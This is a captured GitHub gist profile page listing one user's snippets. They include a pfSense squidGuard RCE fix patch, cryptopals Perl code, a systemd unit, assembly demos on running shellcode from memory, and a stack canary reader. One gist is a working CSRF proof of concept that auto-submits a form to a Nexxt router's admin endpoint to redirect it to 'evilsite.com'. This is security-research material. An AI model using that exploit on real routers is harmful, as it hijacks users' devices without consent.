Skip to content

Instantly share code, notes, and snippets.

View cedriczirtacic's full-sized avatar
🐗
æ

cedric cedriczirtacic

🐗
æ
49 followers · 56 following
View GitHub Profile
@cedriczirtacic
cedriczirtacic / squidguard_pfsense_1.4._7_RCE.patch
Last active May 4, 2016 18:57
Fix for Remote Code Execution (CWE-78) on squidGuard 1.4_7 pfSense package
--- squidguard_blacklist.php.old 2016-05-04 15:01:08.000000000 -0300
+++ squidguard_blacklist.php 2016-05-04 15:46:13.000000000 -0300
@@ -58,11 +58,19 @@
function squidguard_blacklist_AJAX_response( $request )
{
$res = '';
+ $status = '';
$sz = 0;
$pcaption = ' ';
@cedriczirtacic
cedriczirtacic / cryptolads.1.1.pl
Last active August 18, 2016 16:30
the cryptopals crypto challenges
#!/bin/env perl
while(<>){
chomp;
$uhex = pack('H*', $_);
$udec = pack('u', $uhex );
$udec =~s/(^.|[\n\r])//mg;
$udec =~tr#` -_#AA-Za-z0-9+/#;
print $udec, $/;
}
@cedriczirtacic
cedriczirtacic / ddclient.service
Last active October 29, 2023 19:56
Systemd ddclient.service
#/usr/lib/systemd/system/ddclient.service
[Unit]
Description=ddclient Service
After=network.target
[Service]
Type=forking
PIDFile=/var/run/ddclient.pid
ExecStart=/sbin/ddclient -pid /var/run/ddclient.pid -file /etc/ddclient/ddclient.conf -daemon 300
ExecStop=/usr/bin/pkill -SIGKILL -P /var/run/ddclient.pid
@cedriczirtacic
cedriczirtacic / nexxt_exploit1.html
Created September 27, 2016 23:58
Nexxt Solutions Router V5.07.43_en_NEX01 CSRF to URL Redirection
<body onload='document.forms[0].submit()'>
<form action='http://192.168.0.1/goform/SysStatusHandle' method='post'>
<input type="hidden" name="CMD" value="WAN_CON" />
<input type="hidden" name="GO" value="http://evilsite.com" />
<input type="hidden" name="action" value='2' />
</form>
</body>
@cedriczirtacic
cedriczirtacic / yes.S
Last active June 13, 2017 22:17
yes command in GAS
// gcc -c yes.S -o yes.o && gcc yes.o -o yes
.file "yes.S"
.data
y: .string "y"
.text
.globl main
main:
cmpq $2, %rdi
jl .L1
@cedriczirtacic
cedriczirtacic / normal.S
Last active June 29, 2017 16:41
https://medium.com/@cedriczirtacic/ejecutando-opcodes-desde-memoria-9700e5a7e02
_start:
xorq %rax, %rax
movb $0x3c, %al
xorq %rdi, %rdi
incb %dil
syscall
@cedriczirtacic
cedriczirtacic / opcodes.pl
Last active June 29, 2017 16:41
https://medium.com/@cedriczirtacic/ejecutando-opcodes-desde-memoria-9700e5a7e02
#!/usr/bin/perl -w
use strict;
use warnings;
my $bin = $ARGV[0];
my $func= $ARGV[1];
die("./$0 <binary> <function>") if (!defined $bin or !defined $func);
my @shellcode;
@cedriczirtacic
cedriczirtacic / load_opcodes.S
Last active June 29, 2017 16:41
https://medium.com/@cedriczirtacic/ejecutando-opcodes-desde-memoria-9700e5a7e02
.section .text
.global _start
_start:
pushq %rbp
movq %rsp, %rbp
subq $13, %rsp
shellcode:
movb $0x05, -1(%rbp)
movb $0x0f, -2(%rbp)
movb $0xc7, -3(%rbp)
@cedriczirtacic
cedriczirtacic / gdb.sh
Last active July 3, 2017 21:29
getting canaries https://medium.com/@cedriczirtacic/peque%C3%B1o-texto-canarios-en-el-stack-3ce23f6c033b
(gdb) disas main
Dump of assembler code for function main:
0x00000000004005ab <+0>: sub $0x18,%rsp
0x00000000004005af <+4>: mov %fs:0x28,%rax
0x00000000004005b8 <+13>: mov %rax,0x8(%rsp)
0x00000000004005bd <+18>: xor %eax,%eax
0x00000000004005bf <+20>: callq 0x400566 <get_canary>
0x00000000004005c4 <+25>: mov (%rax),%rsi
0x00000000004005c7 <+28>: mov $0x400688,%edi
0x00000000004005cc <+33>: mov $0x0,%eax
@cedriczirtacic
cedriczirtacic / main.c
Last active July 3, 2017 21:29
getting canaries https://medium.com/@cedriczirtacic/peque%C3%B1o-texto-canarios-en-el-stack-3ce23f6c033b
// gcc -O1 -fstack-protector-all -o main main.c
#include <stdio.h>
#include <linux/types.h>
#ifndef uint64_t
typedef unsigned long uint64_t;
#endif
uint64_t get_canary() {
uint64_t a;